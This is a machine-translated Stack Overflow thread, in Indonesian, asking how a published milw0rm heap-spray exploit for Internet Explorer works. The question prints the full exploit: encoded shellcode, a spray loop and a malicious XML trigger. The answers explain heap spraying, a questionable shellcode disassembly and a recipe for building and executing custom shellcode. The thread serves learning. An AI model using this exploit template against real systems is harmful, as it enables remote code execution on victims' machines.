Bagaimana cara milw0rm penumpukan ini bekerja?


145

Saya biasanya tidak mengalami kesulitan untuk membaca kode JavaScript tetapi untuk yang ini saya tidak tahu logikanya. Kode ini berasal dari exploit yang telah diterbitkan 4 hari yang lalu. Anda dapat menemukannya di milw0rm .

Ini kodenya:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Inilah yang saya yakini berfungsi dan saya ingin Anda membantu saya untuk bagian yang saya salah pahami.

Variabel shellcodeberisi kode untuk membuka calc.exe. Saya tidak mengerti bagaimana mereka menemukan string aneh itu. Ada ide?

Yang kedua adalah variabel spray. Saya tidak mengerti lingkaran aneh ini.

Yang ketiga adalah variabel memoryyang tidak pernah digunakan di mana pun. Mengapa mereka membuatnya?

Hal terakhir: apa yang dilakukan tag XML di halaman?


Untuk saat ini saya punya jawaban yang bagus tetapi sebagian besar sangat umum. Saya ingin penjelasan lebih lanjut tentang nilai kode. Contohnya adalah unescape("%u0a0a%u0a0a");. Apa artinya? Hal yang sama untuk loop: mengapa pengembang menulis: length < 0xd0000? Saya ingin pemahaman yang lebih dalam, tidak hanya teori kode ini.


Anda harus melihat ke Heap Spraying: en.wikipedia.org/wiki/Heap_spraying
BobbyShaftoe

Bagaimana kita berhasil menjalankan exploit ini? Apakah kita harus menjalankannya di IE?
bad_keypoints

Jawaban:


320

Shellcode berisi beberapa instruksi perakitan x86 yang akan melakukan exploit aktual. spraymenciptakan urutan panjang instruksi yang akan dimasukkan memory. Karena kami biasanya tidak dapat mengetahui lokasi pasti dari shellcode kami di memori, kami menaruh banyak nopinstruksi sebelumnya dan melompat ke suatu tempat di sana. The memoryarray akan memegang kode x86 yang sebenarnya bersama dengan mekanisme melompat. Kami akan memberi makan XML buatan ke perpustakaan yang memiliki bug. Ketika sedang diuraikan, bug akan menyebabkan register pointer instruksi ditugaskan ke suatu tempat di exploit kami, yang mengarah ke eksekusi kode arbitrer.

Untuk memahami lebih dalam, Anda harus mencari tahu apa yang ada di kode x86. unscapeakan digunakan untuk menempatkan urutan byte yang diwakili dari string dalam sprayvariabel. Ini kode x86 yang valid yang mengisi tumpukan besar dan melompat ke awal shellcode. Alasan untuk kondisi akhir adalah keterbatasan panjang string dari mesin scripting. Anda tidak dapat memiliki string lebih besar dari panjang tertentu.

Dalam perakitan x86, 0a0awakili or cl, [edx]. Ini secara efektif setara dengan nopinstruksi untuk tujuan eksploitasi kita. Di mana pun kita melompat ke spray, kita akan sampai ke instruksi berikutnya sampai kita mencapai shellcode yang merupakan kode yang sebenarnya ingin kita jalankan.

Jika Anda melihat XML, Anda akan lihat 0x0a0ajuga di sana. Menjelaskan dengan tepat apa yang terjadi memerlukan pengetahuan khusus tentang eksploitasi (Anda harus tahu di mana bug itu dan bagaimana bug itu dieksploitasi, yang saya tidak tahu). Namun, tampaknya kami memaksa Internet Explorer untuk memicu kode buggy dengan mengatur innerHtmlstring XML berbahaya itu. Internet Explorer mencoba untuk menguraikannya dan kode kereta entah bagaimana memberikan kontrol ke lokasi memori di mana array ada (karena itu adalah bongkahan besar, kemungkinan melompat di sana tinggi). Ketika kita melompat ke sana, CPU akan terus menjalankan or cl, [edx]instruksi sampai mencapai awal shellcode yang dimasukkan ke dalam memori.

Saya telah membongkar shellcode:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

Memahami shellcode ini membutuhkan pengetahuan rakitan x86 dan masalah di pustaka MS itu sendiri (untuk mengetahui kondisi sistem saat kami sampai di sini), bukan JavaScript! Kode ini pada gilirannya akan dieksekusi calc.exe.


13
Saya menghargai upaya dari Anda untuk penjelasan ini. +25 reputasi dan semua hormat saya. Terima kasih
Patrick Desjardins

20
jawaban yang bagus tetapi tuan yang baik - tiba-tiba saya tidak baik dengan komputer ;-)
nama pengguna

50
Saya kagum dengan orang-orang yang berhasil melakukan eksploitasi semacam ini. Jika mereka cukup pintar untuk hack rekening bank seseorang dengan ini, mereka layak semua uang yang mereka dapat mencuri;)
Martin

8
Jika ada tempat suci jawaban yang baik untuk SO, ini akan ada di dalamnya.
San Jacinto

6
Disassemby tampaknya tidak masuk akal dan sepenuhnya acak. Itu tidak mungkin benar. Saya mencoba menukar byte, dengan asumsi bahwa karakter dalam string disimpan dalam little-endian, tetapi tidak membantu.
Juho Östman

10

Ini terlihat seperti eksploitasi bug Internet Explorer baru - baru ini yang dirilis Microsoft untuk patch darurat. Ini menggunakan cacat dalam fitur penyatuan data dari Microsoft XML handler, yang menyebabkan memori tumpukan tidak dapat dialokasikan dengan benar.

Shellcode adalah kode mesin yang akan berjalan ketika bug terjadi. Semprotan dan memori hanyalah beberapa ruang yang dialokasikan pada tumpukan untuk membantu kondisi yang dapat dieksploitasi terjadi.


Apakah Anda pikir beberapa hal seperti itu dapat terjadi dengan ekstensi Chrome?
bad_keypoints





0

Contoh shellcode sederhana

Halo dunia dalam perakitan di & t sintaks x86 saya percaya (Wizard dalam Pelatihan).

mengatur file:vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

kompilasi seperti ini:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

Sekarang Anda memiliki biner yang mencetak hello world. untuk mengubah biner menjadi tipe kode shell di:objdump -D shellcode

Anda akan mendapatkan output:

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

Sekarang jika Anda melihat pada baris ke-4 dengan teks Anda akan melihat: 400078: eb 1a jmp 0x400094

bagian yang mengatakan eb 1aadalah representasi heksadesimal dari instruksi perakitan di jmp onemana "satu" adalah alamat memori dari string Anda.

untuk menyiapkan shellcode Anda untuk dieksekusi, buka file teks lain dan simpan nilai hex dalam array karakter. Untuk memformat kode shell dengan benar Anda mengetikkan \xsebelum setiap nilai hex.

contoh kode shell yang akan datang akan terlihat seperti berikut sesuai dengan output perintah objdump:

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

Contoh ini menggunakan C untuk array. Sekarang Anda memiliki shellcode yang berfungsi yang akan menulis ke stdout "hello world"

Anda dapat menguji kode shell dengan meletakkannya di kerentanan atau Anda dapat menulis program c berikut untuk mengujinya:

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

Untuk mengkompilasi jenis program di:

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

Jalankan dengan ./run Anda tahu memiliki contoh kerja pengembangan shellcode sederhana yang diuji di linux mint / debian.


1
Jangan gunakan int 0x80ABI 32-bit dalam kode 64-bit. Ini akan gagal untuk string pada stack, karena kernel hanya melihat 32 bit yang rendah dari syscall args. Apa yang terjadi jika Anda menggunakan ABI 32-bit int 0x80 Linux dalam kode 64-bit? . (Dalam hal ini Anda akan membuat loop tak terbatas, karena sys_writeakan kembali -EFAULT, dan mov $1, %alakan membiarkan bit atas diatur, sehingga Anda mendapatkan -ENOSYSalih-alih sys_exit). Juga, dalam kode 64-bit Anda bisa jmpmeneruskan string dan menggunakan RIP-relatif leauntuk mendapatkan alamat, bukan panggilan / pop.
Peter Cordes

1
Ini juga akan gagal untuk gcc yang membangun executable PIE secara default, karena dengan demikian bahkan array char penyimpanan statis Anda akan berada di luar bit 32 yang rendah. (Dan BTW, jika itu const char payload[]maka akan berada di segmen teks (di bagian .rodata) dan Anda tidak perlu -z execstack.)
Peter Cordes

1
Juga, movl 4, %raxberisi byte nol (dan tidak akan berkumpul karena ketidaksesuaian ukuran operan, dan tidak ada $sehingga 4 adalah alamat absolut). Saya pikir Anda memposting versi awal sumber Anda. Komentar saya sebelumnya berasal dari melihat pembongkaran di mana Anda menambahkan sys_exitpanggilan.
Peter Cordes
Dengan menggunakan situs kami, Anda mengakui telah membaca dan memahami Kebijakan Cookie dan Kebijakan Privasi kami.
Licensed under cc by-sa 3.0 with attribution required.